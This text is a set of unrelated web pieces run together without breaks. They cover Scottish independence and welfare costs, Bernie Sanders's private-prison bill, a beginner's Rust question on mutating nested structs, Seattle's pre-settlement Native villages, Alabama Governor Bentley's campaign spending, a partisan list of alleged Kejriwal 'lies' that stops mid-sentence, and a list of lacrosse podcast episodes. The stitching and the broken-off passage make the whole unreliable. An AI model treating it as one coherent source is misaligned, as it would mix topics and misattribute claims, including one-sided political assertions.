The Government analysis paper argues that the Scottish people enjoy “the best of both worlds”. Housing and skills policy are devolved so that local solutions can be found, while employment and social security remain with central government so that employers and job seekers can benefit from a UK-wide network of job centres.
Ministers warn it would cost a breakaway Scotland about £200m a year to provide this support for the unemployed. They threaten to ban an independent Scotland from “sharing” the UK’s benefits system if it wanted to have different policies, as the extra costs and risks “would not be in the interests of the Government”. If Scotland opted for its own system, the IT start-up costs alone would be between £300m and £400m, the report claims.
Iain Duncan Smith, the Tory Work and Pensions Secretary, said: “As part of the UK, Scottish people benefit from this resilient and unified system – which delivers the same support everywhere irrespective of peaks and troughs in economies of the nations or demographic differences.
“Proposals by the Scottish Government would risk the well-being of vulnerable people who are currently supported by this system.”
But Nicola Sturgeon, Scotland’s Deputy First Minister, said: “Welfare spending and pensions are more affordable in Scotland than the UK because they account for a smaller proportion of our tax revenues and national income.”
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe now.At a campaign rally in Nevada on Tuesday, Vermont Senator and Democratic presidential hopeful Bernie Sanders told a gathered crowd that he would introduce a bill aimed at ending the for-profit prison industry, supplementing an already comprehensive racial justice reform package targeting racial violence in the physical, political, legal, and economic spheres.
"When Congress reconvenes in September, I will be introducing legislation which takes corporations out of profiteering from running jails," Sanders said, following remarks on broader issues of racial violence such as improving police-community relations and rolling back widespread mass incarceration.
In video footage of the rally, Sanders' remark on private prisons (1:03:20 mark) is met with loud cheers and applause.
Sanders' remark Monday was brief, but his stance on the issue is slightly more fleshed out on his campaign website, touching on both the profit margins of private-prison corporations and the money they dump into political campaigns.
"It is morally repugnant and a national tragedy that we have privatized prisons all over America. In my view, corporations should not be allowed to make a profit by building more jails and keeping more Americans behind bars. We have got to end the private-for-profit prison racket in America. Profiting off the misery of incarcerated people is immoral and it is immoral to take campaign contributions from the private prison industry or its lobbyists."
Private prison firms have grown substantially since their inception in the late 1980s and early 1990s, when overflow in public facilities created a need for more space. Today, through lucrative contracts with federal, state, and local governments, private prison corporations have grown into a major campaign donor source and a heavyweight lobbying force. Since 1989, for-profit companies, including the two largest, GEO Group and Corrections Corporation of America, have spent almost $25 million on lobbying efforts and more than $10 million on candidates in successful efforts to secure their longevity and political clout.
Sanders' bill will likely face intense pushback—a bill just to open up private prisons to the Freedom of Information Act has tried and failed multiple times. But the Senator has so far been one of the only candidates to address the issue of private prisons explicitly in his campaign platform. In March, Sanders called on the White House to take executive action against certain tax breaks—among them, a real estate loophole allowing businesses like private prisons to avoid corporate income taxes by claiming they make money from rents.I'm pretty new to Rust and I've been slowly following an arcade game tutorial which has been a great help with the concepts it goes through.
In part nine of the tutorial, in which the main menu is created, the author suggests 'homework' for the reader of making the labels on the main menu ("New Game", "Quit") animate their change in size when focused and unfocused, rather than jump to their idle/focused size. This is where I have been having difficulty...
The basic layout of the relevant parts of the code before I started to implement the change is the following:
// equivalent to'menu option' struct Action { /// function executed if action chosen func: Box<Fn(&mut Phi) -> ViewAction>, label: &'static str, idle_sprite: Sprite, // smaller (32) focus_sprite: Sprite, // larger (38) //... } impl Action { fn new(phi: &mut Phi, label: &'static str, func: Box<Fn(&mut Phi) -> ViewAction>) -> Action { //... } struct MainMenuView { actions: Vec<Action>, selected: i8, //... } impl MainMenuView { pub fn new(phi: &mut Phi) -> MainMenuView { //... } } impl View for MainMenuView { fn render(&mut self, phi: &mut Phi, elapsed: f64) -> ViewAction { //... for (i, action) in self.actions.iter().enumerate() { //... } } } fn main() { ::phi::spawn("Arcade Shooter", |phi| { Box::new(::views::main_menu::MainMenuView::new(phi)) }); }
My first thought for the animation was to make it dynamically create a sprite based on an interpolated size between idle_size and focus_size using time elapsed since focus change using methods on Action to focus and defocus to change a current_size field that would be used to generate a sprite for a sprite field.
This required a mutable binding of the Action struct, which took me a little while to work out as there was no let binding anywhere, but seemed to be just about possible by changing the constructor: Action::new(...) -> &mut action, and lots of explicitly marking lifetimes (which had its own issues, but this is getting too long as it is). I then realised that the MainMenuView would have to be mutably bound as well, at which point I stopped this path (I hadn't managed to successfully compile since starting it), as this seemed a really inelegant solution that made basically everything mutable, surely defeating the point of rust's immutability default...
I then wondered whether I could just create a new MainMenuView with a new Action with the new sprite, which could probably work (changing view to another MainMenuView ), but this seems like a really wasteful way to just change the size of some text and again is pretty inelegant.
After that, I remembered Cell, but when trying this to make the actions for MainMenuView a Vec<Cell<Actions>>, I found Cell only works with Copy types. This might have been ok (I don't have enough experience to know), but the func field of Action does not implement Copy (and I'm not sure if it can?) and so Action cannot #[derive(Copy)]. Dead end without restructuring a large section of the program to not have func in Action?
This is the end of my main question - basically, what do you do when you have structs nested and you want to have a deep field mutate, but can't put a Cell around it (afaik)? And is this a structural issue with the code such that I should be avoiding this issue in the first place?History of Seattle before white settlement
Prior to white settlement, thirteen prominent villages existed in what is now the city of Seattle. The people living near Elliott Bay, and along the Duwamish, Black and Cedar Rivers were collectively known as the doo-AHBSH, or People of the Doo ("Inside"). Four prominent villages[1] existed near what is now Elliott Bay and the (then-estuarial) lower Duwamish River. Before civil engineers rechanneled the Duwamish, the area had extensive tidelands, and had an abundance of seafoods.[2]
The people living around Lake Washington were collectively known as hah-choo-AHBSH or hah-chu-AHBSH or Xacuabš, People of HAH-choo or Xachu, "People of a Large Lake" or "Lake People". When major European contact began, these people considered themselves related but distinct from the D kh w'Duw'Absh. The lake drained by the Black River in what is now Renton. The Black River joined the Cedar and White (now Green) rivers to become the Duwamish River and empty into what is now referred to as southeast Elliott Bay.[3] As European contact continued and increased, the hah-choo-AHBSH (Xacuabš) and doo-AHBSH, (D kh w'Duw'Absh) became identified as the people represented by the Duwamish tribe. The people are Coast Salish, and (Skagit-Nisqually) Lushootseed by language.[4]
Prairie or tall grassland areas (anthropogenic grasslands) grew in what is now Belltown, South Lake Union, Brooklyn in the University District (map [1]), along what is now Sand Point Way NE (map [2]), Brighton–Seward Park,[5] Georgetown, and likely Alki, among others.[6] The Liq'tid (LEEK-teed) or Licton Springs area was used as a spiritual health spa. Cranberries were harvested from the Slo'q `qed (SLOQ-qed, bald head) 85 acre (34 hectare) marsh and bog at what is now the North Seattle Community College garage, Interstate 5 interchange, and Northgate Mall of Northgate, the headwaters of the south fork of Thornton Creek. Open areas for game habitat were maintained by selective burning every few years, another application of anthropogenic grasslands.[7]
Downtown and lower Duwamish River [ edit ]
tohl-AHL-too ("herring house") The present-day Duwamish Longhouse and Cultural Center, near the historic site of("herring house")
dzee-dzee-LAH-letch was the most important village on what is now called Elliott Bay, with some 200 people c. 1800.[8] Chief Seattle [si'áb Si'a hl ] lived here for some time. The village had eight large khwaac'ál'al (longhouses)—each 60 feet by 120 feet (18 m x 37 m)—plus a large potlatch house, where people from all over the area gathered. dzee-dzee-LAH-letch ("little crossing-over place") was located near the trail: appropriately, where the King Street Station was later built. Before the extensive tidelands were filled in, there was a spit here, separating Elliott Bay from a lagoon known for flounder.
tohl-AHL-too ("herring house") and later hah-AH-poos ("where there are horse clams") was on the west bank of the Duwamish River near its former estuarial mouth on Elliott Bay, located around what is now south Harbor Island. This was the original village site that had been inhabited since the 6th century (see also Duwamish tribe#History).[9] It was abandoned sometime before 1800, but there elders reported that the village had seven (60 ft by 120 ft (37 m), 18 m x 37 m) longhouses plus a large (60 ft by 360 ft (110 m), 18 m x 110 m) potlatch house. At the successor village nearby there were three longhouses occupied by 75-100 people.
The Duwamish was a bountiful estuary, a powerful meandering river with extensive tidal flats and wildlife, when pioneer John Pike officially bought the land from the U.S. government in 1860, soon after the Treaty of Point Elliott, 1855. Local shipyards built fishing boats for European immigrants until the resource diminished. The site was being cleared of buildings to construct a marine terminal when archaeological discoveries in 1977 halted further development.[10] This site is in what is now known as Herring House Park (Herring's House Park), just north of Terminal 107 (map [3]). The site overlooks Kellogg Island and a natural channel of the river. The 17-acre (69,000 m2) park contains a natural intertidal basin at the shoreline and areas of marsh, meadow and forest in the upland portion. In season, the park has hundreds of juvenile fish, and migrating salmon which attract harbor seals, ospreys, and bald eagles and provide habitat for cormorants, great blue herons, purple martins [4] and other native waterfowl.[11] Overlooking the park is the Duwamish Longhouse, cultural center of the Duwamish Tribe (above). Above the contemporary Duwamish Longhouse is the restored and partially daylighted watershed of to-AH-wee (trout),[12] now called Longfellow Creek, just over the ridge that is now called Delridge. Puget Creek was the freshwater resource (and a fishery, in season) for the village. Much of Puget Park is now a natural area, along with others nearby. Eventually, with ongoing volunteer effort, the surroundings will have restored areas and views.[13]
too-PAHLH-tehb was at the mouth of the easternmost estuary of the Duwamish River, approximately 1st Avenue at Spokane Street.
yee-LEH-khood ("basket cap" like those worn by the Yakama people) was a particularly long-established village on the then-west bank of a bend in the Duwamish River, in what is now Terminal 107 Park, the higher ground of the Port of Seattle terminal.
The kehl-kah-KWEH-yah ("Proud People") had their village at too-KWHEHL-teed ("a large open space") farther upstream at a former bend of the Duwamish, in what is now south Georgetown. The large open space was likely artificially maintained.
Salmon Bay Charlie and Chilohleet'sa's house at Shilshole with a canoe anchored offshore, c. 1905.
North of Downtown [ edit ]
The people called shill-shohl-AHBSH had the village of shill-SHOHL ("threading a needle", apparently for the narrow opening out to Puget Sound) on the north shore of what is now named Salmon Bay, where the Ballard Locks were built. (See also SWAH-tsoo-gweel village, just below.)
Along Lake Washington [ edit ]
All the people living around Lake Washington were collectively known as Xacuabš (hah-choo-AHBSH or hah-chu-AHBSH), People of HAH-choo or Xachu, "People of a Large Lake" or "Lake People". Initially, at the time of major European contact, these people considered themselves related but distinct from the D kh w'Duw'Absh. The lake drained out the Black River in what is now Renton. The Black River joined the Cedar and White (now Green) rivers to become the Duwamish River and empty into what is now called southeast Elliott Bay.[14]
The hah-chu-AHBSH called the peninsula that is now Seward Park skEba’kst (skuh-BAHKST, "nose"); the isthmus was cqa'lapsEb (TSKAH-lap-suhb, "neck"). The isthmus was only a few hundred feet wide and flooded seasonally, turning the peninsula into an island (the lake level was some 9 ft (3m) higher or more). A large wetland and marsh was north of what is now the park entrance circle, at what is now Andrews Bay. The lake, bay, wetlands, and peninsula were richly abundant.
The Xacuabš had a village of two longhouses ( kh waac'ál'al, forerunners of sizable cohousing for tens of people in each one) at xaxao'Ltc (ha-HAO-hlch, the "sacred or taboo place", from xá?xa?),[15] at or near what is now Brighton Beach. Villages were diffuse. Other kh waac'ál'al were on the southwest lake shore at SExti'tcb ("by means of swimming", Bryn Mawr), at TL’Ltcus (TLEELH-chus, "little island", Pritchard’s Island), and to farther north at Leschi Park.
Besides providing food, the lake was home to powerful spirits. The word xá?xa? also means sacred, great and mighty. The previously mentioned xaxao'lc ("taboo place") at Brighton Beach, south of the peninsula, was named for a supernatural spirit who was said to live in the lake there. The unusual sound of the babbling waters at this place indicated its presence. Near Colman Park lived an?ya’hos, a horned spirit that was associated with landslides and earthquakes. Remarkably, this is the approximate location of the Seattle Fault, which moved more than 20 ft (6.1 m) vertically about 1100 years ago. This quake caused a landslide at South Point on Mercer Island sending a large section of forest into the lake. Little earth beings were said to inhabit the tree stumps there and drove insane a man trying to harvest the bark from the stumps.[5]
East of Downtown on Lake Washington were two villages whose names are not known. One of the possible village sites of the skah-TEHLB-shahbsh was around what was later named Wetmore Slough, now the filled Genesee Park in Columbia City.[16] A second village of the skah-TEHLB-shahbsh was at what is now Leschi Park.
What is now Rainier Beach (Atlantic City Park) is the possible site of one of two skah-TEHLB-shahbsh villages, though the village name is not known.
The influential and principal village of the hloo-weelh-AHBSH was around what is now Brooklyn Avenue at a then- much larger Portage Bay,[17] and SWAH-tsoo-gweel ("portage") on the north shores of a Union Bay nearly a mile farther than today, near what is now the Burke-Gilman Trail and the southeast corner of Ravenna Park. (What is now the Burke-Gilman Trail was built along the shoreline c. 1886 by the Seattle, Lake Shore and Eastern Railway.) Five longhouses were located on the north of the bay. Other longhouses were near the present University of Washington (UW) steam plant (west of the UW IMA Building, and between what is now the Center for Urban Horticulture and present-day Children's Hospital). For this village, their backyard was the neighborhoods of the Ravenna Creek watershed today. In summer, the village largely moved to Sahlouwil, what is now southeast Laurelhurst on Lake Washington.[18]
The village of hehs-KWEE-kweel ("skate") was of the hloo-weelh-AHBSH (from s'hloo-WEELH, "a tiny hole drilled to measure the thickness of a canoe"), for the narrow passage through then-large and resource-rich Union Bay marsh. Traces of the marsh survive as the Union Bay Natural Area and the Foster Island area of north Washington Park Arboretum. The trees and the island of Stitici, (Stee-tee-tchee) were their ceremonial burial ground. Stitici, Little Island, is now called Foster Island.[19] The village was at the northeast tip of what is now Madison Park. One longhouse may have been used as a potlatch house. The Duwamish Tribe is today leveraging the sacred site in the path of substantial enlargement of SR 520 through south Union Bay between Redmond and Interstate 5, in their quest for recognition.[20]
TLEHLS ("minnows" or "shiners") was on the shores of what is now called Wolf Bay in Windermere, on Lake Washington south of SqWsEb, now called Magnuson Park. BEbqwa'bEks (small prairie—anthropogenic grassland) was near what is now Windermere. One or three longhouses have been documented.[21] These people may have been associated with the hloo-weelh-AHBSH of Union Bay.
The village of too-HOO-beed was of the too-oh-beh-DAHBSH extended family and was near what is now called Thornton Creek in what is now Matthews Beach, with Meadowbrook their back yard.[22]
Notes and references [ edit ]
Bibliography [ edit ]Please enable Javascript to watch this video
HUNTSVILLE, Ala. -- Lawyers for Alabama Gov. Robert Bentley told the Alabama Ethics Commission Friday that it was lawful for Bentley to use campaign funds to pay legal bills for his former top political advisor and alleged mistress Rebekah Mason.
Bentley’s attorney Bill Athanas sent the ethics commission a letter arguing Mason was paid by the campaign while working as Bentley’s senior political advisor.
The issue arose this week after Athanas disclosed that the Bentley campaign paid a Montgomery law firm $8,912 in January 2016 for legal work on Mason’s behalf.
Mason resigned from her role as senior political advisor last spring following allegations that she and Bentley had an affair and that she was the “de facto governor.” Those allegations were made by former Alabama Law Enforcement Agency head Spencer Collier who sued Bentley and Mason for wrongful termination.
Another former close aide to Bentley, Ray Lewis, the former head of Bentley’s security detail, also sued Bentley and Mason.
Alabama Secretary of State John Merrill, whose office oversees Alabama elections, told WHNT New 19 Thursday that his office could find no place in the Alabama Code where it was a permissible expense.
The Ethics Commission issued an opinion Wednesday, without naming Bentley, that argued campaign funds couldn’t be spent for “personal use.”
But Athanas argued the commission has said expenses can be paid if the bill would not have existed, “but for” the person’s status as a candidate or office holder.
Bentley’s lawyers argued that legal bills are generally not considered a personal expense and that Mason’s expense only occurred because Bentley was in office.
Athanas also noted that while Alabama case law didn’t have a similar situation that had been ruled on previously, federal elections officials had allowed members of Congress to pay legal bills for campaign staffers who were caught up in investigations of the member of Congress.
Bentley’s attorney closed by offering to repay the money if the commission disagreed with the governor’s reading of the law.
“Based on [the Alabama Fair Campaign Practices Act] and the [federal advisory opinions], we believe that the expenditure was entirely appropriate and consistent with applicable law. In the event the Commission reaches a contrary conclusion, we are prepared to reverse the payment and have the funds returned to the Campaign,” Athanas wrote.Last year was bumper for Arvind Kejriwal and his supporters. They used the social media and their friends in the mainstream media to lie like no one was fact-checking.
But we were.
Here are some of their lies spread in the year 2016:
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Prime Minister Modi had chaired the 11th inter-state council meeting in July this year. There was a cold meeting between the two, but things appeared normal otherwise. However, about four days later, Kejriwal suddenly claimed that he and some of the other CMs weren’t allowed to bring in their mobile phones while there was no such restrictions for others. Truth is that no one is allowed to carry electronic gadgets inside the PMO since Indira Gandhi’s time.
Like Donald Trump had once made an issue of birth certificate of Barack Obama, Arvind Kejriwal made an issue of Narendra Modi’s educational certificates. Finance Minister Arun Jaitley and BJP President Amit Shah had to chair a joint press conference to bring out Modi’s mark-sheets and graduation certificates. But the party and its supporters continued to claim what they wanted to believe.
Chief Justice of Uttarakhand KM Joseph, who had foiled the central government’s move to establish President’s rule in |
12/29 Boxla Beat: Buffalo's Zach Higgins & Georgia's Jesse King It's the Welcome Back to the NLL edition of Boxla Beat: Zach Higgins gets another shot at tending goal in the league and Jesse King is back after missing 2017 when he tore the ACL, MCL and meniscus in his left knee. You'd be hard pressed to find two pl. Free View in iTunes
205 Clean 12/28 In The Crease: Face-Off Yearbook & Star Wars Overreaction In The Crease is back! After a several month hiatus, Dan Aburn and Kyle Devitte are back on the mic, delving into the annual Face-Off Yearbook rankings of Division I (0:00 - 1:03:30). Kyle then gives brief thoughts on Division II and III rankings (1:03. Free View in iTunes
206 Clean 12/26 Coach, Captain & Conversation: The Debut In their debut "Coach, Captain & Conversation" podcast for IL, Ryan Cassidy of the Texas Lacrosse News Podcast talks to Brandon Childs, his old college coach who's now at DIII York College. Free View in iTunes
207 Clean 12/22 Recruiting Podcast: Legends National Cup & Recruiting News Inside Lacrosse's Terry Foy and Dan Aburn delve into Dan's experience at the Legends National Cup then dive into some recent recruiting news. They finish with an open conversation about recent twitter conversations concerning IL's role in recruiting ev. Free View in iTunes
208 Clean 12/22 NLL Boxla Beat: Jeff Shattler & Zach Currier Stephen Stamp talks with the newcomer Zach Currier as well as Saskatchewan's Jeff Shattler Free View in iTunes
209 Clean 12/20 Remembering Dave Huntley: Bryan Kelly, Kevin Crowley, Matt Brown In the wake of sad news about Johns Hopkins star, Atlanta Blaze coach and Calvert Hall assistant (among many other titles) Dave Huntley's death, IL's Terry Foy is joined by Calvert Hall coach Bryan Kelly, Team Canada midfielder Kevin Crowley and Denver. Free View in iTunes
210 Clean 12/18 Lacrosse Industry Pod: Summit Ventures' Kevin Leveille Former UMass and MLL legend Kevin Leveille joins IL Gear and Lifestyle editor Kyle Devitte to talk about his career, the growth of lacrosse events and his job at Summit Lacrosse Ventures. Free View in iTunes
211 Clean 12/16 ILPreps: CSE's Lee Corrigan, Commitment News CSE's Lee Corrigan talks to IL's Terry Foy about the Under Armour All-America platform, the IWLCA event series and the adidas IMLCA National Cup, then Dan Aburn joins to discuss the biggest commitment news of the last month. Free View in iTunes
212 Clean 12/14 Face-Off Yearbook Top 10, IMLCA Convention Recap IL's Terry Foy and Matt Kinnear discuss selecting Duke No. 1, Albany No. 2, Yale No. 3 and more, then transition to the topics of shot clock and scheduling that dominated last weekend's annual coaches' association convention. Free View in iTunes
213 Clean 12/11 Industry: B51 Photography's Mark Brown On the latest episode of the Lacrosse Industry Podcast, IL's gear and lifestyle editor Kyle Devitte talks with B51 Photography's Mark Brown. Brown gives insight into the process of shooting a game from the sideline and gives tips to those looking to br. Free View in iTunes
214 Clean 12/8 ILPreps: Legends National Cup Preview with Rory Doucette Legends co-founder Rory Doucette talks to IL's Terry Foy about the Legends National Cup, lacrosse on the West Coast and more. Free View in iTunes
215 Clean 12/6 DII: LIU Post coach Eric Wolf Eric Wolf took over the LIU Post program this summer. In this podcast with IL Editor-in-Chief Matt Kinnear, he talks about his plans for the Pioneers, the influence of his former coach and boss Scott Marr and why the Thompsons had a profound effect on. Free View in iTunes
216 Clean 12/4 Lacrosse Industry: Lax Sports Network's Chris Marshall On the latest episode of IL's Lacrosse Industry Podcast, IL gear and lifestyle editor Kyle Devitte talks with Lax Sports Network's Chris Marshall. Marshall talks about his background in the sport, how he got his current job at LSN, and what it takes to. Free View in iTunes
217 Clean 12/1 ILPreps: Faceoff Academy National Showcase Preview Faceoff Academy General Greg Gurenlian talks to IL's Terry Foy on the eve of the National Showcase, which brings dozens of face-off guys between seventh grade and senior year together in New Jersey to crown a champion. Free View in iTunes
218 Clean 11/29 DIII: Fallball Recap, Most Interesting Teams Ken Stockmann and Matt Kinnear give an early look at some of the surprise rankings in Face-Off Yearbook and recap the fall in DIII. Free View in iTunes
219 Clean 11/27 Industry Pod: The Season 2018 with Jason Johnson & Joel Layman IL's Terry Foy talks to Jason Ryan Creative founder Jason Johnson and STX Lacrosse Marketing Manager Joel Layman about The Season 2018 project, a 10-chapter video series complimented by a web platform that incorporates content and social media from IL. Free View in iTunes
220 Clean 11/24 ILPreps: Ranking the Top 10 2018 Classes With Signing Week in the rearview, IL's Terry Foy and Dan Aburn rank their top 10 incoming groups in the Class of 2018. Free View in iTunes
221 Clean 11/22 DFly & Dixie: Thankful for Lacrosse In this special off-season episode of the “D-Fly and Dixie Podcast,” Dan Flynn sits down with good friends Terry Foy, Josh Davey and of course, Mark Dixon, for a conversation about Thanksgiving, gratitude, a spectacular year for lacrosse, why lacros Free View in iTunes
222 Clean 11/20 Industry Pod: Lacrosse Unlimited's Joe DeSimone Lacrosse Unlimited founder Joe DeSimone joins IL's Terry Foy to discuss the sport's retail landscape, his view on participation, manufacturers, innovation and club lacrosse. Free View in iTunes
223 Clean 11/17 ILPreps: Fall ILRI Review, Signing Week Recap IL's Terry Foy and Dan Aburn discuss the Fall IL Recruiting Invitational Sessions I and II, including players who stood out and clubs who impressed, and discuss the drama of NLI Signing Week. Free View in iTunes
224 Clean 11/16 ILWomen: Fallball Recap — New Rules, Louisville, More Halley Quillinan Griggs and Matt Kinnear review the fall. How much impact will new rules have? Who will take over at Louisville? More, plus rapid fire with Halley. Free View in iTunes
225 Clean 11/13 Lacrosse Industry: Under Armour's Jenny Riitano Levy In this episode of the Lacrosse Industry Podcast, IL Gear and lifestyle editor Kyle Devitte talks with Team 22 and Under Armour's Jenny Riitano Levy, who has worked in the industry for over a decade helping to shape the evolution of women's product in. Free View in iTunes
226 Clean 11/10 ILPreps: NLI Signing Focused on Navy, Notre Dame and Virginia IL's Terry Foy and Dan Aburn welcome in Recruiting Rundown's Ty Xanders to discuss the National Letter of Intent signing week, focusing on the recent action and 2018 classes heading to Navy, Notre Dame and Virginia, while also discussing Utah's newcom. Free View in iTunes
227 Clean 11/8 Fall Podcast: Swezey on Denver, Nova, Navy, Face-Off Yearbook IL contributor Christian Swezey joins Terry Foy to discuss what he saw of Denver at the Bob Kemp Classic, Navy vs. Villanova and what he's gleaned from his conversations with 20 top DI coaches in his work writing Face-Off Yearbook. Free View in iTunes
228 Clean 11/6 Lacrosse Industry: Lorne Smith The latest episode of the Lacrosse Industry Podcast hosted by IL gear and lifestyle editor Kyle Devitte features True global sales rep and Firethreads creator Lorne Smith. The SoCal legend and former Princeton midfielder talks about his many jobs in la. Free View in iTunes
229 Clean 11/3 ILPreps: Shockey to Maryland, Two-Sport Stars, Fall ILRI IL's Terry Foy and Dan Aburn discuss the news of Under Armour All-American face-off specialist Justin Shockey's decision to leave the Naval Academy Prep School and enroll at Maryland mid-year, then move on to the week's other commitment news — includi Free View in iTunes
230 Clean 11/1 Fall Podcast: Navy, Loyola and Schedule Dynamics IL's Matt Kinnear and Geoff Shannon relate their recent visits to Navy and Loyola practices, respectively, then Kinnear and Terry Foy discuss last week's news that Johns Hopkins and Navy will be putting their longstanding series on hold, part of an ove. Free View in iTunes
231 Clean 10/30 Lacrosse Industry: STX's Will Madrid On the latest episode of the Lacrosse Industry Podcast, IL Gear and lifestyle editor Kyle Devitte talks with STX’s Will Madrid about his background in the sport, how he got his job at STX and what it’s like to work behind the scenes on lacrosse prod Free View in iTunes
232 Clean 10/27 ILPreps: Southeast Recap, Michigan Commits, ’17 Early Returns IL's Terry Foy talks to Josh Davey about the IL Southeast Prospect Day, then brings on Dan Aburn to discuss the recent commitments to Michigan and Marquette, how some of the early returns have come back on ranked players in the Class of 2017, then look. Free View in iTunes
233 Clean 10/25: Fall Podcast: UVA, UMD, Brown, Towson & Bryant As #TRUEfallball rolls on, IL's Terry Foy welcomes in Geoff Shannon to discuss his trip to Virginia, Kyle Devitte on visiting Bryant and Brown, Matt Kinnear on Towson and Dan Aburn on Maryland. Free View in iTunes
234 Clean 10/23 Lacrosse Industry: Chris Deal In the latest episode of the Lacrosse Industry Podcast, host Kyle Devitte talks with String League Season three winner Chris Deal about his lacrosse background, life as a lacrosse stringer in Hawaii, his thoughts on the industry and his String League c. Free View in iTunes
235 Clean 10/20 ILPreps: More Flipping, Coaching Acrimony & IL Southeast Prospect Day IL's Terry Foy, Josh Davey and Dan Aburn discuss the current climate among college coaches as the incidence of recruiting committed players continues to rise, examine the top 10 commitments over the last two weeks and look ahead to this weekend's IL So. Free View in iTunes
236 Clean 10/18 Fall Podcast: Yale All-Access, Tehoka's Goal, Hopkins and More It was the busiest weekend of the fallball calendar. Matt Kinnear hosts, as Terry Foy kicks it off with an enlightening visit to Yale. The HEADstrong event shed light on Albany, Johns Hopkins, Army and Richmond. Other teams discussed include UMass, Loy. Free View in iTunes
237 Clean 10/17 ILWomen: Inside 'The Adversity Issue' UMass-Lowell's Noelle Lambert graces the cover of the November issue. "The Adversity Issue" shares stories of inspiration and features Duke's Kerstin Kimel and others. Halley Quillinan Griggs talks about reporting the cover story and much more. Free View in iTunes
238 Clean 10/16 Lacrosse Industry Pod: Jerry Ragonese Inside Lacrosse's Kyle Devitte interviews New York Lizard Jerry Ragonese, co-founder of Pro Athletics and The Face Off Academy, about working in the lacrosse industry. Free View in iTunes
239 Clean 10/11 U.S. National Team Analysis vs. Maryland, Towson IL's Terry Foy and Kyle Devitte discuss the split squad games vs. Maryland and Towson and project the 23-man roster that coach John Danowski and his staff will select in advance of the 2018 FIL World Championships Free View in iTunes
240 Clean 10/9 Lacrosse Industry: String Theory From January's Lacrosse Industry Summit: Baltimore, IL's Kyle Devitte hosts a panel of stringing experts including Zach DePalmer of Barefoot Lacrosse, Phil Pierce of Spawn of Pipo and Joe Williams of Throne Lacrosse. Free View in iTunes
241 Clean 10/6 ILPreps: 2019s, 2020s and This Week's News IL's Terry Foy, Matt Kinnear and Josh Davey discuss the Top 50 Young Gun Juniors and Top 25 Young Gun Sophomores from the 2017 IL Recruiting Issue, as well as this week's recruiting news, including Quentin Buchman's commitment to Notre Dame, Cole Finle. Free View in iTunes
242 Clean 10/4 Fall Podcast: America East Swing IL's Matt Kinnear attended Sunday's Room2Smile event at Le Moyne, where the Dolphins host DIII powers Cortland and RIT, as well as JuCo national champion stalwart OCC. He then moved on to the Carrier Dome, where he watched Albany take on the Israel and. Free View in iTunes
243 Clean 10/2 DFly & Dixie Podcast Special: Part 2 with Coach Dick Edell In Part 2 of our conversation with Coach Edell, he tells many more tales, including the beauty of rivalries and his front row seat coaching in the two best rivalries in college lacrosse. We talk in depth about the 1995 meetings between JHU and Maryland. Free View in iTunes
244 Clean 9/29 ILPreps: Analyzing the Class of 2018 IL's Terry Foy, Geoff Shannon, Josh Davey and Matt Kinnear analyze the Top 100 players in the Class of 2018, breaking down issues like switched commitment, reclassification and which DI teams are bringing in the best groups. Free View in iTunes
245 Clean 9/27 Fall Part 2: Team USA's Danowski, NLL's Sakiewicz, MLL's Gross In Part 2 of his fall check-in, Quint Kessenich talks to Duke head coach John Danowski about his experience with the U.S. National Team, NLL Commissioner Nick Sakiewicz about the league's recent expansion and college draft, and outgoing MLL Commissione. Free View in iTunes
246 Clean 9/27 Fall Part 1: Practice Visits and Freshman Impact Quint Kessenich speaks to IL's Terry Foy and Matt Kinnear about their visits to Ohio State, Princeton, Duke, Delaware, Carolina, Rutgers and Syracuse, then to Geoff Shannon about the impact the high school class of 2017 will provide as they step on cam. Free View in iTunes
247 Clean 9/25 DFly & Dixie Pod Special: Coach Dick Edell Dan and Mark pay a visit to legendary coach Dick Edell's house for conversation about lacrosse, life and his Hall of Fame coaching career. In Part I we discuss his start in the coaching profession, winning a national championship in soccer, his friends. Free View in iTunes
248 Clean 9/22 ILWomen Recruiting: Breaking Down the Recruiting Issue Celebrating the fifth anniversary of ILWomen, the women's Recruiting Issue is bigger than ever. Halley Quillinan breaks down each year's No. 1, the top incoming classes and the best at each position. Free View in iTunes
249 Clean 9/18 Lacrosse Industry: Harlem Lacrosse CEO Mike Levin With Harlem Lacrosse's annual benefit set for Sept. 28, IL's Terry Foy talks to CEO Mike Levin about his background, assuming his role and responsibility with the organization and how Harlem fits into the nationwide landscape of urban lacrosse initiati. Free View in iTunes
250 Clean 9/15 IL Preps: 2017 Top Classes Dan Aburn and Terry Foy delve into more of the 2017 recruiting issues, this episode analyzing the top recruiting classes in the incoming freshman group. Free View in iTunes
251 Clean 9/8 IL Preps: Sept. 1 Fallout & Recruiting Issue Preview Dan Aburn and Geoff Shannon delve into their observations of and reactions to the opening of the contact period between college coaches and student athletes in the class of 2019. They then preview the 2017 Inside Lacrosse recruiting issue, revealing th. Free View in iTunes
252 Clean 9/1: Off-Topic Podcast: Game of Thrones with Anish Shroff In a podcast where there is no lacrosse talk whatsoever, IL's Dan Aburn and ESPN broadcaster Anish Shroff sit down to talk about their reactions to one of their favorite shows - Game of Thrones. They discuss season 7 and take on some of the questions l. Free View in iTunes
253 Clean 8/30 MLL: Greg Gurenlian, Chazz Woodson Talk Retirement Two legends of MLL are retiring, with face-off king Greg Gurenlian and transcendent star Chazz Woodson moving on. The pair talk with Kyle Devitte about their careers and what's next. Free View in iTunes
254 Clean 8/28 Lacrosse Industry Pod: Epoch's James Miceli Epoch Lacrosse Principal James Miceli catches up with IL's Terry Foy about the brand's signing of professional lacrosse players Dylan Molloy and Matt Rambo, as well as what else is going on in Epoch's overall development. Free View in iTunes
255 Clean 8/25 ILPreps: Sept. 1 Preview with High Point's Torpey, PrimeTime's Daniello In advance of next week's first legal contact between NCAA DI coaches and members of the Class of 2019 (since new NCAA legislation was introduced in April), IL's Terry Foy talks to High Point head coach Jon Torpey and PrimeTime club director Nick Danie. Free View in iTunes
256 Clean 8/23 MLL: MLL Championship & Season Review Kyle Devitte and Chris Rosenthall are joined by Moneyball Lacrosse's Joe Keegan for a full length pod recapping the Major League Lacrosse title game and the champion Ohio Machine. They then delve into a review of the season and preview what MLL teams m. Free View in iTunes
257 Clean 8/21 DFly & Dixie Pod Special: Last Call at PJ's Pub An era is coming to a close on Wednesday, August 30 as PJ's Pub as we know it closes its doors for the last time. Dan and Mark sit down with PJ's owner Jerry Smith for a podcast special to talk about the 32-year history of PJ's, tell stories about the. Free View in iTunes
